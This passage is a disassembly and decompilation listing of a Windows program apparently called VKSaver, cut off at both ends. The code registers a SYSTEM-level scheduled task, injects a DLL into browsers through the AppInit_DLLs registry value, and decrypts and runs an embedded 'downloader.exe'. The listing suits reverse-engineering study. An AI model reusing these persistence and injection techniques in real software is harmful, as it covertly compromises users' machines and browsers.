        (**(*piStack_7c + 8))(piStack_7c);
        if (piStack_64 != 0x0) {
            (**(*piStack_64 + 0x24))(piStack_64, 0x46b18c);
            (**(*piStack_4c + 0x3c))(piStack_4c, &piStack_80);
            (**(*piStack_80 + 0x48))(piStack_80, 1);
            (**(*piStack_4c + 0x44))(piStack_4c, &piStack_6c);
            (**(*piStack_6c + 0x30))(piStack_6c, 0, &piStack_68);
            (**(*piStack_6c + 8))(piStack_6c);
            uStack_38 = IExecAction;
            uStack_30 = [0x0x46ad20];
            uVar5 = CONCAT44(&piStack_58, &uStack_38);
            piVar3 = piStack_68;
            (***piStack_68)();
            (**(*piStack_68 + 8))(piStack_68, piVar3, uVar5);
            if (piStack_58 != 0x0) {
                (**(*piStack_58 + 0x2c))(piStack_58, 0x4b1a10);
                (**(*piStack_58 + 0x34))(piStack_58, "-autoupdate");
                (**(*piStack_58 + 8))();
                uVar1 = (*oleaut32.SysAllocString)("NT AUTHORITY\\SYSTEM");
                (**(*piStack_50 + 0x44))
                          (piStack_50, "VKSaverUpdate", piStack_4c, 6, CONCAT62(Stack_92, 8), CONCAT44(uStack_88, uVar1), 
                           Stack_a2 << 0x10, uStack_9c, 5, Stack_a2 << 0x10, uVar10, uStack_9c, uVar6, &piStack_60);
                if ((param_1 != '\0') && (piStack_60 != 0x0)) {
                    piStack_74 = 0x0;
                    (**(*piStack_60 + 0x30))(piStack_60, CONCAT62(Stack_92, 1), CONCAT44(uStack_88, uVar1), &piStack_74)
                    ;
                    if (piStack_74 != 0x0) {
                        (**(*piStack_74 + 8))(piStack_74);
                    }
                }
                (**(*piStack_50 + 8))(piStack_50);
                (**(*piStack_4c + 8))();
                if (piStack_60 != 0x0) {
                    (**(*piStack_60 + 8))(piStack_60);
                }
                (*ole32.CoUninitialize)();
                sub_406beb();
                return;
            }
        }
    }
    sub_406beb();
    return;
}
0x401740 sub_401740 str 7 api 4 imm 12 Unknown
sub_401740() {
    push         ebp
    mov          ebp, esp
    sub          esp, 0x238
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    push         ebx
    mov          ebx, [ebp+0x08]
    push         esi
    push         edi
    push         0x00
    push         0x02
    mov          esi, edx
    mov          edi, ecx
    mov          dword ptr [ebp-0x234], 0x00
    call         [kernel32.CreateToolhelp32Snapshot]
    push         0x228
    mov          [ebp-0x238], eax
    lea          eax, [ebp-0x22C]
    push         0x00
    push         eax
    call         _memset()
    add          esp, 0x0C
    lea          eax, [ebp-0x230]
    push         eax
    push         [ebp-0x238]
    mov          dword ptr [ebp-0x230], 0x22C
    call         [kernel32.Process32FirstW]
    test         eax, eax
    jz           .13
.1:
    lea          eax, [ebp-0x20C]
    push         "iexplore.exe"
    push         eax
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jnz          .2
    mov          eax, 0x01
    jmp          .8
.2:
    lea          eax, [ebp-0x20C]
    push         "firefox.exe"
    push         eax
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jnz          .3
    mov          eax, 0x02
    jmp          .8
.3:
    lea          eax, [ebp-0x20C]
    push         "opera.exe"
    push         eax
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jnz          .4
    mov          eax, 0x04
    jmp          .8
.4:
    lea          eax, [ebp-0x20C]
    push         "chrome.exe"
    push         eax
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jnz          .5
    mov          eax, 0x08
    jmp          .8
.5:
    lea          eax, [ebp-0x20C]
    push         "safari.exe"
    push         eax
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jnz          .6
    mov          eax, 0x10
    jmp          .8
.6:
    lea          eax, [ebp-0x20C]
    push         "browser.exe"
    push         eax
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jnz          .7
    mov          eax, 0x20
    jmp          .8
.7:
    lea          eax, [ebp-0x20C]
    push         "maxthon.exe"
    push         eax
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jnz          .12
    mov          eax, 0x40
.8:
    test         edi, edi
    jz           .9
    mov          ecx, [ebp-0x228]
    mov          [edi], ecx
    add          edi, 0x04
.9:
    test         esi, esi
    jz           .10
    mov          [esi], al
    inc          esi
.10:
    test         ebx, ebx
    jz           .11
    or           [ebx], eax
.11:
    inc          [ebp-0x234]
.12:
    lea          eax, [ebp-0x230]
    push         eax
    push         [ebp-0x238]
    call         [kernel32.Process32NextW]
    test         eax, eax
    jnz          .1
.13:
    push         [ebp-0x238]
    call         [kernel32.CloseHandle]
    mov          ecx, [ebp-0x04]
    mov          eax, [ebp-0x234]
    pop          edi
    pop          esi
    xor          ecx, ebp
    pop          ebx
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
}

/* DISPLAY WARNING: Type casts are NOT being printed */

void __fastcall sub_401740(undefined4 *param_1,undefined *param_2,uint32_t *param_3)

{
    undefined4 uVar1;
    int32_t iVar2;
    uint32_t uVar3;
    undefined4 uStack_234;
    undefined auStack_230 [4];
    undefined4 uStack_22c;
    undefined auStack_210 [520];
    uint32_t uStack_8;
    
    uStack_8 = [0x0x46f000#SecurityCookie] ^ &stack0xfffffffc;
    uVar1 = (*kernel32.CreateToolhelp32Snapshot)(2, 0);
    _memset(auStack_230, 0, 0x228);
    uStack_234 = 0x22c;
    iVar2 = (*kernel32.Process32FirstW)(uVar1, &uStack_234);
    do {
        if (iVar2 == 0) {
            (*kernel32.CloseHandle)(uVar1);
            sub_406beb();
            return;
        }
        iVar2 = sub_406ed0(auStack_210, "iexplore.exe");
        if (iVar2 == 0) {
            uVar3 = 1;
code_r0x0040188f:
            if (param_1 != 0x0) {
                *param_1 = uStack_22c;
                param_1 = param_1 + 1;
            }
            if (param_2 != 0x0) {
                *param_2 = uVar3;
                param_2 = param_2 + 1;
            }
            if (param_3 != 0x0) {
                *param_3 = *param_3 | uVar3;
            }
        }
        else {
            iVar2 = sub_406ed0(auStack_210, "firefox.exe");
            if (iVar2 == 0) {
                uVar3 = 2;
                goto code_r0x0040188f;
            }
            iVar2 = sub_406ed0(auStack_210, "opera.exe");
            if (iVar2 == 0) {
                uVar3 = 4;
                goto code_r0x0040188f;
            }
            iVar2 = sub_406ed0(auStack_210, "chrome.exe");
            if (iVar2 == 0) {
                uVar3 = 8;
                goto code_r0x0040188f;
            }
            iVar2 = sub_406ed0(auStack_210, "safari.exe");
            if (iVar2 == 0) {
                uVar3 = 0x10;
                goto code_r0x0040188f;
            }
            iVar2 = sub_406ed0(auStack_210, "browser.exe");
            if (iVar2 == 0) {
                uVar3 = 0x20;
                goto code_r0x0040188f;
            }
            iVar2 = sub_406ed0(auStack_210, "maxthon.exe");
            if (iVar2 == 0) {
                uVar3 = 0x40;
                goto code_r0x0040188f;
            }
        }
        iVar2 = (*kernel32.Process32NextW)(uVar1, &uStack_234);
    } while( true );
}
0x402360 sub_402360 str 7 api 3 imm 12 Unknown
sub_402360() {
    push         ebp
    mov          ebp, esp
    sub          esp, 0xA10
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    lea          eax, [ebp-0xA08]
    push         eax
    push         0x03
    push         0x00
    push         "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"
    push         0x80000002
    call         [advapi32.RegOpenKeyExW]
    test         eax, eax
    jz           .1
    xor          al, al
    mov          ecx, [ebp-0x04]
    xor          ecx, ebp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
.1:
    push         ebx
    push         esi
    push         0x400
    lea          eax, [ebp-0xA04]
    push         0x00
    push         eax
    mov          dword ptr [ebp-0xA0C], 0x400
    call         _memset()
    push         0x400
    lea          eax, [ebp-0x404]
    push         0x00
    push         eax
    call         _memset()
    mov          ebx, [advapi32.RegQueryValueExW]
    add          esp, 0x18
    lea          eax, [ebp-0xA0C]
    push         eax
    lea          eax, [ebp-0xA04]
    push         eax
    push         0x00
    push         0x00
    push         "AppInit_DLLs"
    push         [ebp-0xA08]
    call         ebx
    cmp          word ptr [ebp-0xA04], 0x00
    jz           .7
    push         edi
    lea          edi, [ebp-0xA04]
.2:
    lea          eax, [ebp-0x604]
    push         eax
    mov          ecx, edi
    call         sub_4022c0()
    cmp          word ptr [ebp-0x604], 0x00
    mov          edi, eax
    lea          esi, [ebp-0x604]
    jz           .4
.3:
    push         0x07
    push         "vksaver"
    push         esi
    call         __wcsnicmp()
    add          esp, 0x0C
    test         eax, eax
    jz           .6
    add          esi, 0x02
    cmp          word ptr [esi], 0x00
    jnz          .3
.4:
    cmp          word ptr [ebp-0x404], 0x00
    jz           .5
    push         0x46B250
    lea          eax, [ebp-0x404]
    push         0x200
    push         eax
    call         _wcscat_s()
    add          esp, 0x0C
.5:
    lea          eax, [ebp-0x604]
    push         eax
    lea          eax, [ebp-0x404]
    push         0x200
    push         eax
    call         _wcscat_s()
    add          esp, 0x0C
.6:
    test         edi, edi
    jnz          .2
    pop          edi
.7:
    cmp          word ptr [ebp-0x404], 0x00
    jz           .8
    push         0x46B250
    lea          eax, [ebp-0x404]
    push         0x200
    push         eax
    call         _wcscat_s()
    add          esp, 0x0C
.8:
    push         0x4B1C10
    lea          eax, [ebp-0x404]
    push         0x200
    push         eax
    call         _wcscat_s()
    lea          ecx, [ebp-0x404]
    add          esp, 0x0C
    lea          edx, [ecx+0x02]
.9:
    mov          ax, [ecx]
    add          ecx, 0x02
    test         ax, ax
    jnz          .9
    mov          esi, [advapi32.RegSetValueExW]
    sub          ecx, edx
    sar          ecx, 0x01
    lea          eax, [ecx*2+0x02]
    push         eax
    mov          [ebp-0xA0C], eax
    lea          eax, [ebp-0x404]
    push         eax
    push         0x01
    push         0x00
    push         "AppInit_DLLs"
    push         [ebp-0xA08]
    call         esi
    test         eax, eax
    jz           .10
    push         [ebp-0xA08]
    call         [advapi32.RegCloseKey]
    pop          esi
    mov          al, 0x01
    pop          ebx
    mov          ecx, [ebp-0x04]
    xor          ecx, ebp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
.10:
    lea          eax, [ebp-0xA0C]
    push         eax
    lea          eax, [ebp-0xA10]
    push         eax
    push         0x00
    push         0x00
    push         "LoadAppInit_DLLs"
    push         [ebp-0xA08]
    mov          dword ptr [ebp-0xA10], 0x00
    mov          dword ptr [ebp-0xA0C], 0x04
    call         ebx
    cmp          dword ptr [ebp-0xA10], 0x00
    jnz          .11
    push         0x04
    lea          eax, [ebp-0xA10]
    push         eax
    push         0x04
    push         0x00
    push         "LoadAppInit_DLLs"
    push         [ebp-0xA08]
    mov          dword ptr [ebp-0xA10], 0x01
    call         esi
.11:
    lea          eax, [ebp-0xA0C]
    push         eax
    lea          eax, [ebp-0xA04]
    push         eax
    push         0x00
    push         0x00
    push         "AppInit_DLLs"
    push         [ebp-0xA08]
    call         ebx
    push         [ebp-0xA08]
    call         [advapi32.RegCloseKey]
    lea          ecx, [ebp-0xA04]
    call         sub_402280()
    mov          ecx, [ebp-0x04]
    pop          esi
    xor          ecx, ebp
    mov          al, 0x01
    pop          ebx
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
}

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_402360(void)

{
    int16_t iVar1;
    code *pcVar2;
    code *pcVar3;
    int32_t iVar4;
    int32_t iVar5;
    int16_t *piVar6;
    int32_t iStack_a14;
    int32_t iStack_a10;
    undefined4 uStack_a0c;
    int16_t aiStack_a08 [512];
    int16_t iStack_608;
    int16_t aiStack_606 [255];
    int16_t iStack_408;
    undefined auStack_406 [1022];
    uint32_t uStack_8;
    
    uStack_8 = [0x0x46f000#SecurityCookie] ^ &stack0xfffffffc;
    iVar4 = (*advapi32.RegOpenKeyExW)(0x80000002, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, 3, &uStack_a0c);
    if (iVar4 != 0) {
        sub_406beb();
        return;
    }
    iStack_a10 = 0x400;
    _memset(aiStack_a08, 0, 0x400);
    _memset(&iStack_408, 0, 0x400);
    pcVar2 = advapi32.RegQueryValueExW;
    (*advapi32.RegQueryValueExW)(uStack_a0c, "AppInit_DLLs", 0, 0, aiStack_a08, &iStack_a10);
    if (aiStack_a08[0] != 0) {
        do {
            iVar4 = sub_4022c0(&iStack_608);
            piVar6 = &iStack_608;
            iVar1 = iStack_608;
            while (iVar1 != 0) {
                iVar5 = __wcsnicmp(piVar6, "vksaver", 7);
                if (iVar5 == 0) goto code_r0x0040248c;
                piVar6 = piVar6 + 1;
                iVar1 = *piVar6;
            }
            if (iStack_408 != 0) {
                _wcscat_s(&iStack_408, 0x200, 0x46b250);
            }
            _wcscat_s(&iStack_408, 0x200, &iStack_608);
code_r0x0040248c:
        } while (iVar4 != 0);
    }
    if (iStack_408 != 0) {
        _wcscat_s(&iStack_408, 0x200, 0x46b250);
    }
    _wcscat_s(&iStack_408, 0x200, 0x4b1c10);
    pcVar3 = advapi32.RegSetValueExW;
    piVar6 = &iStack_408;
    do {
        iVar1 = *piVar6;
        piVar6 = piVar6 + 1;
    } while (iVar1 != 0);
    iStack_a10 = (piVar6 - auStack_406 >> 1) * 2 + 2;
    iVar4 = (*advapi32.RegSetValueExW)(uStack_a0c, "AppInit_DLLs", 0, 1, &iStack_408, iStack_a10);
    if (iVar4 != 0) {
        (*advapi32.RegCloseKey)(uStack_a0c);
        sub_406beb();
        return;
    }
    iStack_a14 = 0;
    iStack_a10 = 4;
    (*pcVar2)(uStack_a0c, "LoadAppInit_DLLs", 0, 0, &iStack_a14, &iStack_a10);
    if (iStack_a14 == 0) {
        iStack_a14 = 1;
        (*pcVar3)(uStack_a0c, "LoadAppInit_DLLs", 0, 4, &iStack_a14, 4);
    }
    (*pcVar2)(uStack_a0c, "AppInit_DLLs", 0, 0, aiStack_a08, &iStack_a10);
    (*advapi32.RegCloseKey)(uStack_a0c);
    sub_402280();
    sub_406beb();
    return;
}
0x401960 sub_401960 str 4 api 3 imm 9 Unknown
sub_401960() {
    push         ebp
    mov          ebp, esp
    sub          esp, 0x9C
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    push         ebx
    push         0x00
    push         0x00
    mov          bl, cl
    mov          dword ptr [ebp-0x8C], 0x00
    mov          dword ptr [ebp-0x88], 0x00
    mov          dword ptr [ebp-0x94], 0x00
    mov          dword ptr [ebp-0x90], 0x00
    call         [ole32.CoInitializeEx]
    movq         xmm0, qword ptr [0x46AD38]
    movq         [ebp-0x14], xmm0
    movq         xmm0, qword ptr [0x46AD40]
    movq         [ebp-0x0C], xmm0
    movq         xmm0, qword ptr [0x46AD28]
    movq         [ebp-0x24], xmm0
    movq         xmm0, qword ptr [0x46AD30]
    movq         [ebp-0x1C], xmm0
    movq         xmm0, qword ptr [0x46AD68]
    movq         [ebp-0x44], xmm0
    movq         xmm0, qword ptr [0x46AD70]
    movq         [ebp-0x3C], xmm0
    movq         xmm0, qword ptr [0x46AD58]
    lea          eax, [ebp-0x8C]
    push         eax
    movq         [ebp-0x54], xmm0
    movq         xmm0, qword ptr [0x46AD60]
    lea          eax, [ebp-0x14]
    push         eax
    movq         [ebp-0x4C], xmm0
    movq         xmm0, qword ptr [IPersistFile]
    push         0x01
    movq         [ebp-0x34], xmm0
    movq         xmm0, qword ptr [0x46AD50]
    push         0x00
    lea          eax, [ebp-0x24]
    push         eax
    movq         [ebp-0x2C], xmm0
    call         [ole32.CoCreateInstance]
    mov          ecx, [ebp-0x8C]
    test         ecx, ecx
    jnz          .2
.1:
    xor          al, al
    pop          ebx
    mov          ecx, [ebp-0x04]
    xor          ecx, ebp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
.2:
    mov          eax, [ecx]
    push         "VKSaver"
    push         ecx
    call         [eax+0x1C]
    mov          eax, [ebp-0x8C]
    push         "VKSaverUpdate"
    mov          ecx, [eax]
    push         eax
    call         [ecx+0x1C]
    mov          eax, [ebp-0x8C]
    lea          edx, [ebp-0x88]
    mov          ecx, [eax]
    push         edx
    lea          edx, [ebp-0x44]
    push         edx
    lea          edx, [ebp-0x54]
    push         edx
    push         "VKSaverUpdate"
    push         eax
    call         [ecx+0x20]
    mov          ecx, [ebp-0x88]
    test         ecx, ecx
    jz           .1
    mov          eax, [ecx]
    lea          edx, [ebp-0x90]
    push         edx
    lea          edx, [ebp-0x98]
    push         edx
    push         ecx
    call         [eax+0x0C]
    push         0x30
    lea          eax, [ebp-0x84]
    push         0x00
    push         eax
    call         _memset()
    mov          eax, 0x30
    mov          [ebp-0x84], ax
    mov          eax, 0x01
    add          esp, 0x0C
    mov          [ebp-0x7C], ax
    mov          eax, [ebp-0x90]
    lea          edx, [ebp-0x84]
    mov          dword ptr [ebp-0x80], 0x107D0
    mov          dword ptr [ebp-0x70], 0xFFFF
    mov          dword ptr [ebp-0x64], 0x06
    mov          ecx, [eax]
    push         edx
    push         eax
    call         [ecx+0x0C]
    mov          eax, [ebp-0x88]
    push         0x4B1A10
    mov          ecx, [eax]
    push         eax
    call         [ecx+0x80]
    mov          eax, [ebp-0x88]
    push         0x00
    mov          ecx, [eax]
    push         0x46B100
    push         eax
    call         [ecx+0x78]
    mov          eax, [ebp-0x88]
    push         "-autoupdate"
    mov          ecx, [eax]
    push         eax
    call         [ecx+0x88]
    mov          eax, [ebp-0x88]
    lea          edx, [ebp-0x94]
    mov          ecx, [eax]
    push         edx
    lea          edx, [ebp-0x34]
    push         edx
    push         eax
    call         [ecx]
    mov          ecx, [ebp-0x94]
    test         ecx, ecx
    jz           .1
    mov          eax, [ecx]
    push         0x01
    push         0x00
    push         ecx
    call         [eax+0x18]
    mov          eax, [ebp-0x94]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x08]
    test         bl, bl
    jz           .4
    mov          eax, [ebp-0x88]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x30]
.4:
    mov          eax, [ebp-0x88]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x08]
    mov          eax, [ebp-0x90]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x08]
    mov          eax, [ebp-0x8C]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x08]
    call         [ole32.CoUninitialize]
    mov          ecx, [ebp-0x04]
    xor          ecx, ebp
    mov          al, 0x01
    pop          ebx
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
}

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

/* DISPLAY WARNING: Type casts are NOT being printed */

void __fastcall sub_401960(char param_1)

{
    undefined auStack_9c [4];
    int32_t *piStack_98;
    int32_t *piStack_94;
    int32_t *piStack_90;
    int32_t *piStack_8c;
    undefined2 auStack_88 [2];
    undefined4 uStack_84;
    undefined2 uStack_80;
    undefined4 uStack_74;
    undefined4 uStack_68;
    undefined8 uStack_58;
    undefined8 uStack_50;
    undefined8 uStack_48;
    undefined8 uStack_40;
    undefined8 uStack_38;
    undefined8 uStack_30;
    undefined8 uStack_28;
    undefined8 uStack_20;
    undefined8 uStack_18;
    undefined8 uStack_10;
    uint32_t uStack_8;
    
    uStack_8 = [0x0x46f000#SecurityCookie] ^ &stack0xfffffffc;
    piStack_90 = 0x0;
    piStack_8c = 0x0;
    piStack_98 = 0x0;
    piStack_94 = 0x0;
    (*ole32.CoInitializeEx)(0, 0);
    uStack_18 = [0x0x46ad38];
    uStack_10 = [0x0x46ad40];
    uStack_28 = [0x0x46ad28];
    uStack_20 = [0x0x46ad30];
    uStack_48 = [0x0x46ad68];
    uStack_40 = [0x0x46ad70];
    uStack_58 = [0x0x46ad58];
    uStack_50 = [0x0x46ad60];
    uStack_38 = IPersistFile;
    uStack_30 = [0x0x46ad50];
    (*ole32.CoCreateInstance)(&uStack_28, 0, 1, &uStack_18, &piStack_90);
    if (piStack_90 != 0x0) {
        (**(*piStack_90 + 0x1c))(piStack_90, "VKSaver");
        (**(*piStack_90 + 0x1c))(piStack_90, "VKSaverUpdate");
        (**(*piStack_90 + 0x20))(piStack_90, "VKSaverUpdate", &uStack_58, &uStack_48, &piStack_8c);
        if (piStack_8c != 0x0) {
            (**(*piStack_8c + 0xc))(piStack_8c, auStack_9c, &piStack_94);
            _memset(auStack_88, 0, 0x30);
            auStack_88[0] = 0x30;
            uStack_80 = 1;
            uStack_84 = 0x107d0;
            uStack_74 = 0xffff;
            uStack_68 = 6;
            (**(*piStack_94 + 0xc))(piStack_94, auStack_88);
            (**(*piStack_8c + 0x80))(piStack_8c, 0x4b1a10);
            (**(*piStack_8c + 0x78))(piStack_8c, 0x46b100, 0);
            (**(*piStack_8c + 0x88))(piStack_8c, "-autoupdate");
            (***piStack_8c)(piStack_8c, &uStack_38, &piStack_98);
            if (piStack_98 != 0x0) {
                (**(*piStack_98 + 0x18))(piStack_98, 0, 1);
                (**(*piStack_98 + 8))(piStack_98);
                if (param_1 != '\0') {
                    (**(*piStack_8c + 0x30))(piStack_8c);
                }
                (**(*piStack_8c + 8))(piStack_8c);
                (**(*piStack_94 + 8))(piStack_94);
                (**(*piStack_90 + 8))(piStack_90);
                (*ole32.CoUninitialize)();
                sub_406beb();
                return;
            }
        }
    }
    sub_406beb();
    return;
}
0x404A80 sub_404a80 str 3 api 16 imm 30 Unknown
sub_404a80() {
    push         ebp
    mov          ebp, esp
    and          esp, 0xFFFFFFF0
    mov          eax, 0x1078
    call         __alloca_probe()
    mov          eax, [0x46F000]
    xor          eax, esp
    mov          [esp+0x1074], eax
    push         esi
    push         edi
    push         0x44
    lea          eax, [esp+0x34]
    xorps        xmm0, xmm0
    push         0x00
    push         eax
    movdqa       [esp+0x1C], xmm0
    call         _memset()
    add          esp, 0x0C
    cmp          word ptr [0x4B1048], 0x00
    jz           .9
    lea          eax, [esp+0x78]
    push         eax
    push         0x200
    call         [kernel32.GetTempPathW]
    lea          ecx, [esp+0x78]
    lea          edx, [ecx+0x02]
    nop         
.1:
    mov          ax, [ecx]
    add          ecx, 0x02
    test         ax, ax
    jnz          .1
    sub          ecx, edx
    sar          ecx, 0x01
    lea          esi, [esp+0x78]
    cmp          word ptr [esi+ecx*2-0x02], 0x5C
    lea          esi, [esi+ecx*2]
    jz           .2
    mov          eax, 0x5C
    mov          [esi], ax
    add          esi, 0x02
.2:
    lea          eax, [esp+0x28]
    push         eax
    call         [kernel32.GetSystemTimeAsFileTime]
    call         [kernel32.GetCurrentProcessId]
    rol          eax, 0x18
    xor          eax, [esp+0x2C]
    push         eax
    call         [kernel32.GetTickCount]
    xor          eax, [esp+0x2C]
    push         eax
    push         "%x%x"
    push         esi
    call         [user32.wsprintfW]
    add          esp, 0x10
    xor          ecx, ecx
    mov          edi, edi
.3:
    movzx        eax, word ptr [esp+ecx*1+0x78]
    mov          [esp+ecx*1+0x478], ax
    lea          ecx, [ecx+0x02]
    test         ax, ax
    jnz          .3
    push         0x00
    lea          eax, [esp+0x47C]
    push         eax
    call         [kernel32.CreateDirectoryW]
    lea          edi, [esp+0x78]
    add          edi, 0xFFFFFFFE
    lea          esp, [esp]
.4:
    mov          ax, [edi+0x02]
    add          edi, 0x02
    test         ax, ax
    jnz          .4
    push         0x23984
    mov          ecx, 0x08
    mov          esi, "\\downloader.exe"
    push         0x01
    rep movsd        
    call         _calloc()
    mov          esi, eax
    add          esp, 0x08
    mov          [esp+0x0C], esi
    test         esi, esi
    jz           .6
    mov          eax, esi
    mov          edx, 0x4146B0
    sub          eax, edx
    mov          ecx, 0x75BCD15
    mov          [esp+0x08], eax
    mov          edi, 0x8E60
    mov          esi, eax
    lea          ebx, [ebx]
.5:
    mov          eax, [edx]
    xor          eax, ecx
    rol          ecx, 0x0D
    mov          [esi+edx*1], eax
    lea          edx, [edx+0x04]
    dec          edi
    jnz          .5
    mov          esi, [esp+0x0C]
.6:
    push         0x23980
    mov          edx, esi
    lea          ecx, [esp+0x7C]
    mov          dword ptr [esp+0x0C], 0x23980
    call         sub_401650()
    add          esp, 0x04
    cmp          al, 0x01
    jz           .7
    lea          ecx, [esp+0x78]
    call         sub_401510()
    test         al, al
    jz           .8
    push         0x00
    push         0x00
    push         0x02
    push         0x00
    push         0x01
    push         0x40000000
    lea          eax, [esp+0x90]
    push         eax
    call         [kernel32.CreateFileW]
    mov          edi, eax
    cmp          edi, 0xFFFFFFFF
    jz           .8
    push         0x00
    lea          eax, [esp+0x0C]
    push         eax
    push         [esp+0x10]
    push         esi
    push         edi
    call         [kernel32.WriteFile]
    push         edi
    call         [kernel32.CloseHandle]
.7:
    xor          eax, eax
    mov          [esp+0x60], ax
    push         0x4B1048
    lea          eax, [esp+0x7C]
    push         eax
    lea          eax, [esp+0x880]
    push         "\"%s\" %s"
    push         eax
    mov          dword ptr [esp+0x40], 0x44
    mov          dword ptr [esp+0x6C], 0x01
    call         [user32.wsprintfW]
    add          esp, 0x10
    lea          eax, [esp+0x10]
    push         eax
    lea          eax, [esp+0x34]
    push         eax
    lea          eax, [esp+0x480]
    push         eax
    push         0x00
    push         0x8000000
    push         0x00
    push         0x00
    push         0x00
    lea          eax, [esp+0x898]
    push         eax
    push         0x00
    call         [kernel32.CreateProcessW]
.8:
    push         esi
    call         _free()
    add          esp, 0x04
.9:
    mov          dl, 0x01
    mov          cl, dl
    call         sub_402ce0()
    mov          esi, [esp+0x10]
    cmp          esi, 0xFFFFFFFF
    jz           .15
    test         esi, esi
    jz           .15
    push         0xEA60
    push         esi
    mov          byte ptr [0x4B14B8], 0x01
    call         [kernel32.WaitForSingleObject]
    mov          edi, [kernel32.Sleep]
    test         eax, eax
    jz           .10
    push         0x01
    push         [0x4B1480]
    call         [user32.EnableWindow]
    push         0x493E0
    push         esi
    call         [kernel32.WaitForSingleObject]
    test         eax, eax
    jnz          .12
.10:
    mov          ecx, [esp+0x18]
    call         sub_404910()
    test         al, al
    jz           .12
    mov          byte ptr [0x4B14B8], 0x02
    xor          esi, esi
.11:
    push         0x3E8
    call         edi
    mov          ecx, [esp+0x18]
    call         sub_404910()
    test         al, al
    jz           .12
    inc          esi
    cmp          esi, 0xF0
    jl           .11
.12:
    cmp          byte ptr [0x4B14B9], 0x00
    jz           .14
    mov          byte ptr [0x4B14B8], 0x03
    xor          esi, esi
.13:
    push         0x3E8
    call         edi
; listing truncated

/* WARNING: Removing unreachable block (ram,0x00404cd3) */
/* WARNING: Removing unreachable block (ram,0x00404cf0) */
/* WARNING: Removing unreachable block (ram,0x00404d0e) */
/* WARNING: Removing unreachable block (ram,0x00404d1b) */
/* WARNING: Removing unreachable block (ram,0x00404d24) */
/* WARNING: Removing unreachable block (ram,0x00404d38) */
/* WARNING: Removing unreachable block (ram,0x00404d41) */
/* WARNING: Removing unreachable block (ram,0x00404d4a) */
/* WARNING: Removing unreachable block (ram,0x00404d53) */
/* WARNING: Removing unreachable block (ram,0x00404d63) */
/* WARNING: Removing unreachable block (ram,0x00404d6c) */

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_404a80(void)

{
    int16_t iVar1;
    char cVar2;
    uint32_t uVar3;
    int16_t *piVar4;
    int32_t iVar5;
    uint32_t uVar6;
    uint32_t *puVar7;
    undefined4 *puVar8;
    undefined4 *puVar9;
    int32_t iVar10;
    
    __alloca_probe();
    _memset();
    if ([0x0x4b1048] == 0) goto code_r0x00404cb5;
    (*kernel32.GetTempPathW)();
    piVar4 = &stack0x00000058;
    do {
        iVar1 = *piVar4;
        piVar4 = piVar4 + 1;
    } while (iVar1 != 0);
    iVar5 = piVar4 - &stack0x0000005a >> 1;
    if (*(&stack0x00000056 + iVar5 * 2) != 0x5c) {
        *(&stack0x00000058 + iVar5 * 2) = 0x5c;
    }
    (*kernel32.GetSystemTimeAsFileTime)();
    (*kernel32.GetCurrentProcessId)();
    (*kernel32.GetTickCount)();
    (*user32.wsprintfW)();
    iVar5 = 0;
    do {
        piVar4 = &stack0x00000054 + iVar5;
        *(&stack0x00000454 + iVar5) = *piVar4;
        iVar5 = iVar5 + 2;
    } while (*piVar4 != 0);
    (*kernel32.CreateDirectoryW)();
    puVar9 = &stack0x0000004a;
    do {
        piVar4 = puVar9 + 2;
        puVar9 = puVar9 + 2;
    } while (*piVar4 != 0);
    puVar8 = "\\downloader.exe";
    for (iVar5 = 8; iVar5 != 0; iVar5 = iVar5 + -1) {
        *puVar9 = *puVar8;
        puVar8 = puVar8 + 1;
        puVar9 = puVar9 + 1;
    }
    iVar5 = _calloc();
    if (iVar5 != 0) {
        puVar7 = 0x4146b0;
        uVar6 = 0x75bcd15;
        iVar10 = 0x8e60;
        do {
            uVar3 = *puVar7 ^ uVar6;
            uVar6 = uVar6 << 0xd | uVar6 >> 0x13;
            *(iVar5 + -0x4146b0 + puVar7) = uVar3;
            puVar7 = puVar7 + 1;
            iVar10 = iVar10 + -1;
        } while (iVar10 != 0);
    }
    cVar2 = sub_401650();
    if (cVar2 == '\x01') {
code_r0x00404c46:
        (*user32.wsprintfW)();
        (*kernel32.CreateProcessW)();
    }
    else {
        cVar2 = sub_401510();
        if ((cVar2 != '\0') && (iVar5 = (*kernel32.CreateFileW)(), iVar5 != -1)) {
            (*kernel32.WriteFile)();
            (*kernel32.CloseHandle)();
            goto code_r0x00404c46;
        }
    }
    _free();
code_r0x00404cb5:
    sub_402ce0();
    if ([0x0x4b1048] != 0) {
        (*kernel32.DeleteFileW)();
        (*kernel32.RemoveDirectoryW)();
    }
    [0x0x4b1044] = [0x0x4b1044] + 1;
    sub_406beb();
    return;
}
0x405EB0 sub_405eb0 str 3 api 14 imm 20 Unknown
sub_405eb0() {
    push         ebp
    mov          ebp, esp
    sub          esp, 0x6C
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    push         ebx
    push         esi
    push         edi
    push         "riched20.dll"
    call         [kernel32.LoadLibraryW]
    lea          eax, [ebp-0x20]
